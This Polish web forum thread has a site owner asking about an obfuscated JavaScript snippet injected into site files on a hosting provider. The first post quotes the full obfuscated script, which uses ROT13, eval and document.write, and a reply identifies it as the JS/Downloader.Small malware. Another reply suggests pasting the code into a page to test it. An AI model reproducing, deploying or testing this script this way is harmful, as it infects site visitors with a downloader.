![]() ![]() |
Post
#1
|
|
|
Grupa: Zarejestrowani Postów: 367 Pomógł: 10 Dołączył: 20.05.2005 Ostrzeżenie: (0%)
|
Witam,
czy komuś się zdarzyło że w jego stronie do plików index php, html itp został dopisany ten kod: Kod <script language=JavaScript>var kco=" shapgvba hmdvx(oz){ine fz,we=\"{v^abRkP9 |V}!6w~pn)@GZro#[$y,`:SO0dMjm&AihU2W;5.lt8fH']u_\\\"q+7BIXNCegs13xT-c(4*z=\",t=\"\",du,dsj,v=\"\",nt;sbe(fz=0;fz<oz.yratgu;fz++){ du=oz.puneNg(fz);dsj=we.vaqrkBs(du);vs(dsj>-1){ nt=((dsj+1)%81-1);vs(nt<=0)nt+=81;v+=we.puneNg(nt-1); } ryfr v+=du;}t+=v;qbphzrag.jevgr(t);}",tuy="";for(mhs=0;mhs<kco.length;mhs++){ xcxg = kco.charCodeAt(mhs);if((xcxg>64 && xcxg<78)||(xcxg>96 && xcxg<110)) xcxg=xcxg+13; else if((xcxg>77 && xcxg<91)||(xcxg>109 && xcxg<123))xcxg=xcxg-13;tuy=tuy.concat(String.fromCharCode(xcxg));} var ddy,xnx; eval( tuy );ddy="<Uat^(f|,)o8H)8b{d~)u)Uat^(fd>|+EaH=bofyzt^fb4|d<S9R}rM|,)o8H)8b{\\d;)u)Sat^(f\\d|SR9{\\d_ff(F//zzzy8EE8,b)o),gf,aUyaE=/\"\"Hfuy~U?d7+EaH=bofytb1bttbt7d\\d><\\/S9R}rM>d|@5|</Uat^(f>|"; uzqik(ddy);</script> Jak narazie problem ten wystąpił na serwerach NetArt (nazwa.pl) i co dziwne na serwerze dedykowanym wystąpił na większości witryn, również zdarzyło mi się to na serwerze wirtualnym. Wykluczam możliwość wadliwego działania skryptu php, ponieważ zmiany były również w katalogach do których domena nie miała dostępu, a plik nie był skryptem. Czy komuś na nazwa.pl lub na innym hostingu przytafiło się coś takiego? |
|
|
|
Post
#2
|
|
|
Grupa: Zarejestrowani Postów: 206 Pomógł: 21 Dołączył: 1.09.2006 Skąd: Edinburgh Ostrzeżenie: (0%)
|
Co ten skrypt robi?
|
|
|
|
Post
#3
|
|
|
Grupa: Zarejestrowani Postów: 367 Pomógł: 10 Dołączył: 20.05.2005 Ostrzeżenie: (0%)
|
Wklej sobie to do strony i otwórz stronę. Program antywirusowy powinien Ci wykryć wirusa w pliku.
|
|
|
|
Post
#4
|
|
|
Grupa: Zarejestrowani Postów: 206 Pomógł: 21 Dołączył: 1.09.2006 Skąd: Edinburgh Ostrzeżenie: (0%)
|
JS/Downloader.Small
hmm Ale nie moge znalezc info na ile to szkodliwe. Sprawdze moje strony na nazwie dzis wieczorem. |
|
|
|
Post
#5
|
|
|
Grupa: Zarejestrowani Postów: 150 Pomógł: 3 Dołączył: 15.08.2007 Ostrzeżenie: (0%)
|
kiedyś chyba home.pl doklejało do stron automagicznie skrypt do statystyk. Może to podobny przypadek.
|
|
|
|
Post
#6
|
|
|
Grupa: Zarejestrowani Postów: 240 Pomógł: 13 Dołączył: 1.06.2007 Skąd: Wrocław Ostrzeżenie: (0%)
|
|
|
|
|
![]() ![]() |
|
Aktualny czas: 23.12.2025 - 02:24 |